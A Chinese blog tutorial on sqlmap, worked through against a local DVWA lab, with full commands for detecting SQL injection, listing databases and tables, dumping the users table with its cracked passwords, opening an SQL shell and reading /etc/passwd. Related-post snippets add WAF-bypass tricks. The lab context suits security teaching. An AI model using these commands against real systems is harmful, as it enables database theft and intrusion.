sqlmap 常用姿势

sql注入原理及各姿势sqlmap使用 三、判断数据显示点?id=-1’ union select 1,2,3 --+ //可以把注入点改为负数或零达到注释前半段语句的效果四、显示用户和数据库名五、查看所有表六、查看表里的所有列七、查看字段值。 阅读详情

sqlmap 是一种开源渗透测试工具,可自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。它配备了强大的检测引擎、许多适用于最终渗透测试人员的利基功能,以及广泛的开关,包括数据库指纹、从数据库获取数据、访问底层文件系统以及通过输出在操作系统上执行命令。

来自 Github

项目地址 https://github.com/sqlmapproject/sqlmap

下载即可使用,需要安装 python

一些基础用法

这里使用常用漏洞靶场 dvwa 作为演示

检测是否存在注入

 sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#"
  • -u 指定要检测的 url,sqlmap 就会自动检测尝试可注入的参数

  • 也可以添加 -p 指定参数,这里为 -p "id"

完整命令为

 sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id"

由于 dvwa 需要登录,所以还需要指定 cookie,需要添加 --cookie

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#"  -p "id" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low"

执行,提示 id 存在 sql 注入,并显示了注入的 payload。

获取数据库信息

上一步得出存在注入,那么便可以更进一步,获取更多信息了。比如获取该网站当前使用的数据库名,使用如下命令。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch --current-db
  • --batch 表示默认全部确定,这样就不会出现确认提示

  • --current-db 表示获取当前数据库名

可以看到很快就获取到了,当前数据库名为 dvwa

继续列出所有数据库。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch --dbs
  • --dbs 列出所有数据库

一共有两个数据库。

获取表以及表中的数据

获取到数据库信息之后,进一步获取数据表信息,以及数据。

枚举指定数据库中所有的表。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch -D "dvwa" --tables
  • -D 指定数据库,后接数据库名

  • --tables 列出所有表

一共获取到两张表。

枚举指定表的所有数据。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch -D "dvwa" -T "users" --dump

获取到 users 表的数据,并且 sqlmap 帮我们自动解密了密码。

执行 sql 语句以及读取文件

我们也可以执行一些自定义的 sql 语句。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --sql-shell

上面语句执行后,将会打开一个 sql shell,供我们执行 sql 命令。

还可以直接读取文件,例如读取 /etc/passwd。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch --file-read "/etc/passwd"
  • --file-read 表示读取文件,参数为文件绝对路径

显示文件读取成功,被保存到本地。

打开该文件即可看到读取下来的内容。

以上就是 sql 常见用法了。

SQLMap在HTTPS环境下的五大绕过姿势与代理调试实战 SQL注入是Web安全领域的经典漏洞类型,其原理是通过构造恶意SQL语句,干扰应用程序与数据库的正常交互逻辑,从而窃取或篡改数据。在安全评估中,自动化工具能极大提升测试效率。随着HTTPS协议的普及,TLS/SSL加密层在保障通信安全的同时,也为自动化测试工具带来了证书验证、协议处理等新挑战。理解并解决这些挑战,对于在真实环境中进行有效的安全测试具有重要价值。本文聚焦于SQLMap这一主流工具,针对HTTPS环境下的五大核心挑战,系统阐述了从忽略证书验证、自定义CA证书到深度代理集成的完整绕过思路。其中,通 阅读详情

相关推荐

SQL注入之oracle注入+SQLbypass+sqlmap实战

Oracle数据库是全球最知名的关系型数据库管理系统(RDBMS)之一,由美国甲骨文公司(Oracle Corporation)开发并维护。作为企业级数据管理解决方案的市场领导者,Oracle数据库在可靠性、安全性、可伸缩性和性能方面具有卓越表现,被广泛应用于各类关键业务场景,包括金融、电信、政府和大型企业的各种复杂应用。**核心特性:**

2301_80661529的博客 1786

SQLMap 使用参数详解

SQLMap 使用参数详解 SQLMap是一款自动化的SQL注入测试工具,在kali上已集成 如果不想使用kali的话,可以从github上直接拉取开源项目 git clone https://github.com/sqlmapproject/sqlmap.git 注:最新版的sqlmap应该是支持python3的,但是如果python3无法使用的话可以试试切换成python2执行 常见参数 -h 输出参数说明 -hh 输出详细的参数

qq_37019068的博客 2万+

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇

SQLMap,就像它的名字所暗示的,是一个为我们提供方便的“SQL注入攻击”的工具。对于那些不熟悉这个概念的人来说,SQL注入是一种黑客攻击技术,允许攻击者在目标网站的数据库中执行恶意SQL语句。这意味着我们可以控制和操纵网站的数据,甚至可以完全接管整个网站。那么SQLMap如何帮助我们实现这些呢?

weixin_52796034的博客 6016

SQLmap使用总结

1.简介 2.说明书翻译 3. 基础命令汇总 4.基础命令尝试 5.高级用法 壹 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQLServer、IBM DB2、SQLite、Firebird、Sybase和...

Alexz__的博客 6849

SQLMAP源文件下载

SQLMAP

直接下载sqlmap工具

直接下载sqlmap工具

Sqlmap下载和安装使用Windows

sqlmap解题BUU SQL COURSE 1

qq_43176656的博客 3750

NE555构成多谐振荡器及三角波、正弦波的生成(附工程文件)

NE555构成多谐振荡器及三角波、正弦波的生成 续上一篇:NE555基本原理及相关公式的推导

qq_49979053的博客 5万+

渗透工具sqlmap下载安装超详细教程Windows

渗透工具sqlmap下载安装超详细教程Windows

weixin_56306210的博客 1万+

华为海思2026届数字IC秋招笔试真题解析与实战技巧(2025最新版)

本文深度解析华为海思2026届数字IC秋招笔试真题,涵盖高频考点如后端设计、低功耗设计、SystemVerilog语法等核心内容。提供时序违例修复、时钟树综合等实战技巧,帮助考生高效备考。特别关注UPF低功耗设计规范等最新考点,助力考生在秋招笔试中脱颖而出。

lg888的博客 1088

芯片良率提升:从设计到制造的系统性工程实践

在半导体制造领域,良率是衡量生产效率和成本控制的核心指标,直接关系到芯片的经济效益与市场竞争力。其本质是合格芯片占总产出芯片的百分比,提升良率需要从设计源头到制造末端的全流程协同优化。从技术原理看,它涉及可制造性设计、工艺过程控制、缺陷检测与根因分析等多个复杂环节,尤其在先进制程下,随机缺陷和参数变异成为主要挑战。其技术价值不仅在于降低单颗芯片成本,更能加速产品上市、保障可靠性,并成为企业技术实力的关键体现。应用场景贯穿智能手机、数据中心、自动驾驶和人工智能等所有高端芯片领域。本文将结合【芯片制造】与【良率

weixin_42526068的博客 632

SQL注入神器——sqlmap的常用姿势

python sqlmap.py -u "目标地址" --dump -C "列1,列2" -T "表名"python sqlmap.py -u “带有防护的注入点地址” –tamper=绕过模块。python sqlmap.py -u "" --cloumns -T "表名"python sqlmap.py -u "地址" --table -D "库名"python sqlmap.py -u “注入点地址” –current-db。python sqlmap.py -u "地址"

大家好 393

单细胞测序流程(十)KEGG通路富集分析与可视化圈图实战解析

本文详细解析了单细胞测序数据分析中KEGG通路富集分析与可视化圈图的完整实战流程。从差异表达基因列表出发,通过R语言进行KEGG富集分析,并利用Perl脚本进行基因ID转换,最终使用GOplot包绘制高级可视化圈图,帮助研究者将基因列表转化为有意义的生物学故事。

i7j8k9l的博客 405

sql注入看这篇就够了

sql注入经验分享

m0_65080524的博客 1354

教程 | 基于遥感生态指数(RSEI)模型的生态环境质量评价

使用数据:Landsat8 OLI数据,行列号:122036,时间:20210527。 使用软件:ENVI5.3、ArcGIS10.2 二、4个指数计算 下述的四个指数的计算均是通过ENVI软件中的Band math工具进行计算。 (1)绿度指数 在常用的植被指数当中,归一化植被指数 ( NDVI) 能够有效地反映植被的生长情况与植被 覆盖度等重要植被的物理性质,检测灵敏度高,能 够较为真实地展现区域的地表空间变化规律,已经得到广泛利用,本文采用 NDVI 指数来代表绿度指数。 在ENV

YW_remote的博客 1万+

量子-经典混合架构与动态QUBO建模

量子-经典混合架构与动态QUBO建模的结合,是当前量子计算与经典计算融合领域的前沿方向。通过将量子计算的并行性与经典计算的灵活性结合,该技术为解决复杂动态优化问题(如实时调度、金融投资组合优化、电力系统控制等)提供了全新的方法论。:将发电机组调度分解为QUBO(启停决策)与非QUBO(功率分配)子问题,通过3块ADMM协调;c_i(t) $随外部环境(如电力需求、市场价格)动态调整。量子-经典混合架构与动态QUBO建模的结合,标志着优化计算从。:每分钟根据市场波动调整QUBO的收益率-风险系数;

百态·数智思维 | 聚焦大数据、量化与未来AI 1334

经典的sqlmap与tamper组合姿势

python sqlmap.py -u https://www.xxxx.com/?id=2* --level 5 --risk 3 --dbms MYSQL --tamper=between,bluecoat,charencode,charunicodeencode,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,m...

凡宇 1799

SpringCloud Alibaba - Seata 实现高可用和异地容灾

这里不仅仅要实现高可用,还需要实现异地容灾. 异地容灾就是说,如果你整了好几个节点部署起来,全部放到一个机房里面,那么如果这个机房出了故障,就意味着整个集群就完了,所以对于一个大型的集群来讲,都会把这些服务异地部署.问题2:如果我们要实现异地容灾,也就说某一个机房挂了,需要快速的切换到另一个可用的机房,但是这个配置在配置文件中写死了,如果要改配置文件,还需要重启服务器,这是我们不希望看到的,怎么办?进入 seata/bin 目录,运行 seata-server.bat 文件,默认端口为 8091。

CYK_byte的博客 975

sqlmap工具使用详解及使用sqlmap检测SQL注入漏洞姿势

sqlmap工具使用详解及使用sqlmap检测SQL注入漏洞姿势

qq_67473072的博客 5152

claude-hub:GitHub上的AI开发助手,让Claude自动帮你写代码、审代码、合代码

代码不再是人写的,而是人引导 AI 写的。在这个时代,GitHub 不再只是一个代码托管平台,而是 AI 开发代理的工作台。每一个 issue、每一条 PR,都可能是一次与 AI 合作的机会。未来属于那些敢于把开发流程交给 AI 来优化的人——他们不是在取代自己,而是在放大自己的影响力。📌关注本系列文章,我们将持续输出关于 AI 编程、GitHub 自动化、AI Agent 产品化的深度分析。

这里汇聚了前沿的技术分享与实用的开发技巧,带你探索从创意到企业的技术创业之路。 1372

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

安装sqlmap+python正确姿势

简单说一下,SQLMap是利用Python语言写的,所以需要将Python这个语言环境给安装上。具体SQLMap的功能就不在这里介绍了,只介绍安装过程; 工具/原料 Win7或者win8系统 Python2.7.9 SQLMap 方法/步骤 1 首先百度下载Python:这里最新的版本为2.7.9

Leonardo DiCaprio‘s spring 7014

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

sqlmap之waf绕过

白名单: 方式一:IP白奖单 从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。 测试方法:修改http的header来bypass waf x-forwarded-for x-remote-IP x-originating-IP x-remote-addr x-Real-ip   方式二:静态资源 特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名...

qi_SJQ_的博客 1万+

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

sqlmap绕过d盾_各种姿势绕过WAF

常在河边走,哪有不被狗咬的,记得我刚学渗透时经常遇见"狗",一不小心就弹出这个鬼东西,以前学的那些大小写绕过之类的技巧在这狗面前根本不管用,这还渗透个屁啊!看到这个页面我相信很多小白也是头皮发麻就想放弃了,今天我带来了我家祖传的狗头铡第一种正常情况下get传参这块被各大waf厂商杀的很惨,众所周知把get改成post一样可以正常请求,同时这也是最简单的绕waf姿势把GET改为POST后把...

weixin_39683858的博客 2706

sqlmap绕过d盾_姿势分享——SQL注入bypass D盾

首先感谢兄弟们的支持与关注,我们的成长离不开您的陪伴在我们做项目的途中经常会遇到各种各样的waf,防火墙等来拦截我们的payload,这很是让渗透测试人员头疼,其实网上就有很多关于waf绕过原理的文章,这篇文章就是想告诉大家,当大家理解了网上关于waf绕过的文章的内容并对其原理了解后,其实把理论深化进实践中并没有多困难,本篇文章就是将一个简单常规的小思路实践了一下,便成功绕过了D盾的wa...

weixin_39594080的博客 6120

【sqlmap】sqlmap之绕过安全狗

不会绕过WAF?关注我,让我带你由简入难,今天先来看看渗透必会的,你会绕吗?看我带你将它拿下因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取。

2301_79455190的博客 1955
上一篇: 记一次对某网站的渗透测试
下一篇: BurpSuite 基本使用之修改请求
三分灰
博客等级 码龄5年 172粉丝 7原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值